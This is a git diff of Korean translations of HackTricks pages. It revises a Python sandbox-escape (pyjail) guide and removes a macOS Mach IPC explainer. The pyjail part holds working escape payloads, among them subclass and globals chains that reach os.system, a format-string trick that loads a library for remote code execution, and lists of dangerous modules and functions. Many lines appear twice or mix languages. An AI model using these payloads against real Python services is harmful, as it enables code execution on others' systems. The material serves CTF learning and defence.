[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
또한 어떤 모듈이 악성 라이브러리를 로드하는지 검색할 수도 있습니다:
또한 어떤 modules가 악성 libraries를 로드하는지까지 검색할 수 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -512,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
또한, 만약 **다른 라이브러리들이** 명령을 실행하기 위해 **함수를 호출할 수 있다고** 판단되면, 가능한 라이브러리들 안에서 **함수 이름으로 필터링**할 수도 있습니다:
또한, **other libraries**가 **invoke functions to execute commands**할 가능성이 있다고 생각되면, 가능한 라이브러리 내부에서 **filter by functions names**로 필터링할 수도 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -545,10 +544,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Builtins, Globals...에 대한 재귀 검색
## Builtins, Globals의 재귀적 검색...
> [!WARNING]
> 이건 정말 **굉장합니다**. 만약 당신이 **globals, builtins, open 같은 객체를 찾고 있다면** 이 스크립트를 사용해 그 객체를 찾을 수 있는 위치를 **재귀적으로 찾아내세요.**
> 정말 **대단합니다**. 만약 **globals, builtins, open 같은 객체를 찾고 있다면**, 이 스크립트를 사용해 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아낼 수 있습니다.**
```python
import os, sys # Import these to find more gadgets
@ -673,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
만약 python에 **문자열**을 **보내서** **포맷팅되는** 형태로 만들면, `{}`를 사용해 **python 내부 정보**에 접근할 수 있습니다. 예를 들어 이전 예제들을 사용해 globals나 builtins에 접근할 수 있습니다.
만약 **send**한 **string**을 python에 전달하여 **formatted**되면, `{}`를 사용해 **python internal information.**에 접근할 수 있습니다. 예를 들어 이전 예제들을 통해 globals나 builtins에 접근할 수 있습니다.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -693,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
다음과 같이 **속성에 접근**을 일반적인 방식으로 **점(dot)**으로 `people_obj.__init__`처럼 할 수 있고, **dict 요소**는 따옴표 없이 **괄호**로 `__globals__[CONFIG]`처럼 접근할 수 있다는 점에 주목하세요.
다음에 주목하세요: `people_obj.__init__` 같은 **점(dot)** 으로 일반적으로 **속성에 접근**할 수 있고, `__globals__[CONFIG]` 처럼 따옴표 없이 **대괄호(dict element)** 로 dict 요소에 접근할 수 있습니다.
또한 `.__dict__`를 사용해 객체의 요소들을 열거할 수 있습니다: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
또한 `.__dict__`를 사용해 객체의 요소 열거할 수 있습니다: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
format strings의 다른 흥미로운 특징으로는, 지정된 객체에 대해 **실행**할 수 있는 **함수들** **`str`**, **`repr`** 및 **`ascii`**가 각각 **`!s`**, **`!r`**, **`!a`**를 추가함으로써 호출된다는 점입니다:
format 문자열의 다른 흥미로운 특징 중 하나는 지정된 객체에서 **함수**인 **`str`**, **`repr`**, **`ascii`** 를 각각 **`!s`**, **`!r`**, **`!a`** 로 호출(실행)할 수 있다는 점입니다:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
또한 클래스에서 **code new formatters**를 작성할 수 있습니다:
또한 클래스에서 **새로운 포매터를 작성할 수 있습니다:**
```python
class HAL9000(object):
def __format__(self, format):
@ -713,10 +712,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**더 많은 예제**는 **format** **string** 관련 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
**더 많은 예제들**에 대한 **format** **string** 예제는 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
> [!CAUTION]
> 다음 페이지도 확인하세요. gadgets that will r**ead sensitive information from Python internal objects**:
> 다음 페이지도 확인하세요. gadgets가 r**Python 내부 객체로부터 민감한 정보를 읽어냅니다**:
{{#ref}}
@ -743,18 +742,18 @@ str(x) # Out: clueless
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### format에서 라이브러리 로드로 RCE
### format에서 라이브러리 로딩을 통한 RCE
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
참고로, python에서 어떤 연산이 수행될 때마다 어떤 함수가 실행됩니다. 예를 들어 `2*3`**`(2).mul(3)`**을 실행하고, **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**을 실행합니다.
참고로, 파이썬에서 어떤 연산이 수행될 때마다 특정 함수가 호출된다. 예를 들어 `2*3`**`(2).mul(3)`** 를 실행하고, **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** 를 실행한다.
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
이와 유사한 예시는 섹션 [**Python execution without calls**](#python-execution-without-calls)에서 더 볼 수 있다.
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
하지만 `[]`를 사용할 수는 있다. 따라서, 일반적인 python 라이브러리 중 **`__getitem__`** 또는 **`__getattr__`** 메서드가 임의의 코드를 실행하도록 구현되어 있으면 이를 악용해 RCE를 얻을 수 있다.
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
python에서 그런 gadget을 찾기 위해, writeup은 이 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안한다. 그가 이 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)을 발견했다:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -776,20 +775,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
이 gadget은 **load a library from disk** 할 수 있게 해준다. 따라서 공격 대상 server에 올바르게 컴파일된 **write or upload the library to load** 를 어떻게든 써넣거나 업로드해야 한다.
이 gadget은 **디스크에서 라이브러리를 로드**할 수 있습니다. 따라서 로드할 라이브러리를 공격 대상 서버에 올바르게 컴파일된 상태로 **어떻게든 쓰거나 업로드해야** 합니다.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
이 챌린지는 실제로 서버의 다른 취약점을 악용하여 서버 디스크에 임의 파일을 생성할 수 있게 합니다.
이 챌린지는 실제로 서버 디스크에 임의 파일을 생성할 수 있게 하는 또 다른 취약점을 악용합니다.
## Dissecting Python Objects
## Python Objects 분석하기
> [!TIP]
> If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> **python bytecode**에 대해 깊이 **학습하려면** 이 주제에 대한 **훌륭한** 포스트를 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
일부 CTFs에서는 flag가 위치한 **custom function**의 이름을 제공받을 수 있으며, 이를 추출하려면 해당 **function**의 **internals**를 확인해야 합니다.
일부 CTFs에서는 **custom function where the flag**의 이름이 제공될 수 있으며, 이를 추출하려면 해당 **function**의 **internals**를 확인해야 합니다.
검사할 함수는 다음과 같습니다:
검사할 function은 다음과 같습니다:
```python
def get_flag(some_input):
var1=1
@ -800,7 +799,7 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### 디렉토리
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -809,7 +808,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` and `func_globals`(같음) 전역 환경을 가져옵니다. 예제에서는 일부 가져온 모듈과 일부 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
`__globals__``func_globals`(같음)는 전역 환경을 얻습니다. 예제에서 몇몇 import된 모듈과 일부 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
```python
get_flag.func_globals
get_flag.__globals__
@ -822,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
### **함수 코드에 접근하기**
**`__code__`** `func_code`: 이 함수의 이 **속성**에 **접근**하여 함수의 **코드 객체**를 얻을 수 있습니다.
**`__code__`** and `func_code`: 이 함수의 **속성**에 **접근**하면 함수의 코드 객체를 **얻을 수 있습니다**.
```python
# In our current example
get_flag.__code__
@ -910,7 +909,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
참고: **python sandbox에서 `dis`를 import할 수 없는 경우** 함수의 **bytecode** (`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. `LOAD_CONST`로 로드되는 변수의 내용은 보이지 않지만, `get_flag.func_code.co_consts`에서 이를 추측할 수 있습니다. `LOAD_CONST`는 로드되는 변수의 오프셋도 알려주기 때문입니다.
참고: **if you cannot import `dis` in the python sandbox** 경우 함수의 **bytecode** (`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. `LOAD_CONST`로 로드되는 변수의 내용은 보이지 않지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)에서 이를 추측할 수 있습니다.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Compiling Python
## Python 컴파일
이제 어떤 식으로든 **실행할 수 없는 함수에 대한 정보를 dump할 수 있지만** 그 함수를 **반드시** **실행해야** 한다고 상상해보자.\
아래 예제처럼, 그 함수의 **code object에 접근할 수는 있지만**, disassemble만 읽어서는 **flag를 어떻게 계산하는지 알 수 없다** (_더 복잡한 `calc_flag` 함수를 상상해보라_)
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 dump할 수 있다**고 하더라도, 그 함수를 **필요**에 의해 **실행**해야 하는 상황을 상상해 보자.\
다음 예처럼, 해당 함수의 **code object에 접근할 수 있다**, 하지만 disassemble을 단순히 읽어서는 **flag를 어떻게 계산하는지 알 수 없다** (_더 복잡한 `calc_flag` 함수라고 상상해 보라_)
```python
def get_flag(some_input):
var1=1
@ -948,9 +947,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### code object 생성
### 코드 객체 생성
우선, 우리의 함수 leaked를 실행하기 위해 **code object를 생성하고 실행하는 방법**을 알아야 합니다:
먼저, leaked 함수를 실행하기 위해 **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -970,7 +969,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Python 버전에 따라 `code_type`**매개변수** 순서가 **다를 수 있습니다**. 현재 사용 중인 Python 버전에서 파라미터 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
> python 버전에 따라 `code_type`**parameters** 순서가 **다를 수 있습니다**. 현재 실행 중인 python 버전에서 파라미터 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
>
> ```
> import types
@ -978,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### leaked 함수 재생성
### leaked function 재생성
> [!WARNING]
> 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져옵니다. **실제 예제**에서는 함수를 실행하기 위한 모든 **값들**, 즉 **`code_type`**이 여러분이 반드시 leak해야 하는 항목입니다.
> 다음 예제에서는 function code object에서 함수 재생성에 필요한 모든 데이터를 직접 가져옵니다. **실제 예제**에서는 함수 **`code_type`**를 실행하기 위한 모든 **값들**이 바로 여러분이 **leak**해야 하는 것입니다.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -994,11 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 방어 우회
이 게시물 초반의 이전 예제들에서 **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법을 볼 수 있습니다**.
이것은 **루프 등 모든 것을 포함한 전체 스크립트를** **한 줄(one-liner)**로 실행할 수 있기 때문에 흥미롭습니다(그리고 **`exec`**로도 같은 일을 할 수 있습니다).\
어쨌든, 때때로 로컬 머신에서 **생성**한 **컴파일된 객체**를 **CTF machine**에서 실행하는 것이 유용할 수 있습니다(예: CTF에 `compiled` 함수가 없기 때문입니다).
이 글 초반의 이전 예제들에서, **`compile` 함수를 사용하여 어떤 python 코드든 실행하는 방법**을 확인할 수 있습니다. 이것이 흥미로운 이유는 **루프 등 모든 것을 포함한 전체 스크립트**를 **한 줄(one-liner)**로 실행할 수 있기 때문입니다(그리고 **`exec`**를 사용해 동일하게 할 수도 있습니다).\
어쨌든, 때로는 로컬 머신에서 **컴파일된 객체**를 생성하고 **CTF machine**에서 실행하는 것이 유용할 수 있습니다(예: CTF에 `compiled` 함수가 없기 때문에).
예를 들어, _./poc.py_를 읽는 함수를 수동으로 compile하고 실행해봅시다:
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해보겠습니다:
```python
#Locally
def read():
@ -1025,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
만약 `eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 만들 수 있지만, 그것을 직접 호출하면 보통 다음과 같은 오류가 발생합니다: _constructor not accessible in restricted mode_. 따라서 이 함수를 호출하려면 **제한된 환경에 속하지 않는 함수**가 필요합니다.
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 만들 수 있지만, 이를 직접 호출하면 보통 _constructor not accessible in restricted mode_ 오류가 발생합니다. 따라서 이 함수를 호출하려면 **제한된 환경 밖에 있는 함수**가 필요합니다.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1033,9 +1031,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompiling Compiled Python
## 컴파일된 Python 역컴파일
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) 같은 도구를 사용하면 주어진 컴파일된 python 코드를 **decompile**할 수 있습니다.
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
**이 튜토리얼을 확인하세요**:
@ -1048,8 +1046,8 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com)
### Assert
`-O` 파라미터로 최적화된 상태에서 실행되는 Python은 asset statements와 **debug** 값에 따라 조건부로 실행되는 모든 코드를 제거합니다.\
따라서, 다음과 같은 검사들은
`-O` 옵션으로 최적화되어 실행되는 Python은 `assert` 문과 **debug** 값에 따라 실행되는 모든 코드를 제거한다.\
따라서 다음과 같은 검사들은
```python
def check_permission(super_user):
try:
@ -1060,7 +1058,7 @@ print(f"\nNot a Super User!!!\n")
```
우회될 것입니다
## 참
## 참고자료
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)

View File

@ -1,836 +0,0 @@
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Mach 메시징을 통한 포트
### 기본 정보
Mach는 **작업**을 **자원을 공유하기 위한 가장 작은 단위**로 사용하며, 각 작업은 **여러 스레드**를 포함할 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑됩니다**.
작업 간의 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 단방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송되며**, 이는 커널에 의해 관리되는 **메시지 큐**처럼 작용합니다.
각 프로세스는 **IPC 테이블**을 가지고 있으며, 여기에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다.
프로세스는 또한 **다른 작업**에 포트 이름과 일부 권한을 보낼 수 있으며, 커널은 **다른 작업의 IPC 테이블**에 이 항목을 나타나게 합니다.
### 포트 권한
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신의 핵심입니다. 가능한 **포트 권한**은 ([여기에서 정의](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **수신 권한**: 포트로 전송된 메시지를 수신할 수 있게 해줍니다. Mach 포트는 MPSC(다중 생산자, 단일 소비자) 큐로, 시스템 전체에서 **각 포트에 대해 하나의 수신 권한만 존재할 수 있습니다**(여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 설명자를 가질 수 있는 파이프와는 다릅니다).
- **수신 권한**을 가진 작업은 메시지를 수신하고 **전송 권한**을 생성할 수 있어 메시지를 보낼 수 있습니다. 원래는 **자신의 작업만이 자신의 포트에 대한 수신 권한을 가집니다**.
- **전송 권한**: 포트로 메시지를 전송할 수 있게 해줍니다.
- 전송 권한은 **복제**될 수 있어, 전송 권한을 가진 작업이 권한을 복제하고 **세 번째 작업에 부여할 수 있습니다**.
- **일회성 전송 권한**: 포트로 한 메시지를 전송하고 나면 사라집니다.
- **포트 집합 권한**: 단일 포트가 아닌 _포트 집합_을 나타냅니다. 포트 집합에서 메시지를 제거하면 그 집합에 포함된 포트 중 하나에서 메시지가 제거됩니다. 포트 집합은 Unix의 `select`/`poll`/`epoll`/`kqueue`처럼 여러 포트에서 동시에 수신하는 데 사용할 수 있습니다.
- **죽은 이름**: 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면 해당 포트에 대한 모든 기존 포트 권한이 죽은 이름으로 변환됩니다.
**작업은 다른 작업에 SEND 권한을 전송할 수 있어**, 메시지를 다시 보낼 수 있게 합니다. **SEND 권한도 복제될 수 있어, 작업이 이를 복제하고 세 번째 작업에 부여할 수 있습니다**. 이는 **부트스트랩 서버**라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다.
### 파일 포트
파일 포트는 Mac 포트에서 파일 설명자를 캡슐화할 수 있게 해줍니다( Mach 포트 권한 사용). 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 생성하고, 파일포트에서 FD를 생성하려면 `fileport_makefd`를 사용합니다.
### 통신 설정
#### 단계:
언급된 바와 같이, 통신 채널을 설정하기 위해 **부트스트랩 서버**(**launchd** in mac)가 관여합니다.
1. 작업 **A**가 **새 포트**를 시작하고, 이 과정에서 **수신 권한**을 얻습니다.
2. 작업 **A**는 수신 권한의 소유자로서 **포트에 대한 전송 권한을 생성**합니다.
3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, **포트의 서비스 이름**과 **전송 권한**을 부트스트랩 등록이라는 절차를 통해 제공합니다.
4. 작업 **B**는 **부트스트랩 서버**와 상호작용하여 서비스 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면, **서버는 작업 A로부터 받은 전송 권한을 복제하여 작업 B에 전송**합니다.
5. 전송 권한을 획득한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다.
6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A에 부여**하여 작업 B로 메시지를 보낼 수 있게 합니다(양방향 통신).
부트스트랩 서버는 작업이 주장하는 서비스 이름을 **인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **모든 시스템 작업을 가장할 수 있음을 의미합니다**, 예를 들어 잘못된 **인증 서비스 이름을 주장하고 모든 요청을 승인하는 것입니다**.
그런 다음 Apple은 **시스템 제공 서비스의 이름**을 보안 구성 파일에 저장하며, 이 파일은 **SIP 보호** 디렉토리에 위치합니다: `/System/Library/LaunchDaemons``/System/Library/LaunchAgents`. 각 서비스 이름과 함께 **연관된 바이너리도 저장됩니다**. 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 **수신 권한을 생성하고 유지**합니다.
이러한 미리 정의된 서비스에 대해 **조회 프로세스는 약간 다릅니다**. 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다:
- 작업 **B**가 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다.
- **launchd**는 작업이 실행 중인지 확인하고, 실행 중이 아니면 **시작**합니다.
- 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 전송 권한을 생성하고 이를 유지하며, **수신 권한을 작업 A에 전송**합니다.
- launchd는 **전송 권한을 복제하여 작업 B에 전송**합니다.
- 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A**(svc)에 부여하여 작업 B로 메시지를 보낼 수 있게 합니다(양방향 통신).
그러나 이 프로세스는 미리 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 원래 설명된 대로 작동하며, 이는 잠재적으로 가장할 수 있는 가능성을 허용할 수 있습니다.
### Mach 메시지
[여기에서 더 많은 정보 찾기](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` 함수는 본질적으로 시스템 호출로, Mach 메시지를 전송하고 수신하는 데 사용됩니다. 이 함수는 전송할 메시지를 첫 번째 인수로 요구합니다. 이 메시지는 `mach_msg_header_t` 구조체로 시작해야 하며, 그 뒤에 실제 메시지 내용이 이어져야 합니다. 구조체는 다음과 같이 정의됩니다:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
프로세스가 _**수신 권한**_을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, **발신자**는 _**전송**_ 또는 _**일회성 전송 권한**_을 부여받습니다. 일회성 전송 권한은 단일 메시지를 전송하는 데만 사용되며, 그 후에는 무효가 됩니다.
쉬운 **양방향 통신**을 달성하기 위해 프로세스는 _응답 포트_ (**`msgh_local_port`**)라고 하는 Mach **메시지 헤더**에서 **mach 포트**를 지정할 수 있으며, 여기서 **메시지 수신자**가 이 메시지에 **응답**을 보낼 수 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **일회성 전송** **권한**이 파생되고 전송되어야 함을 **표시**하는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
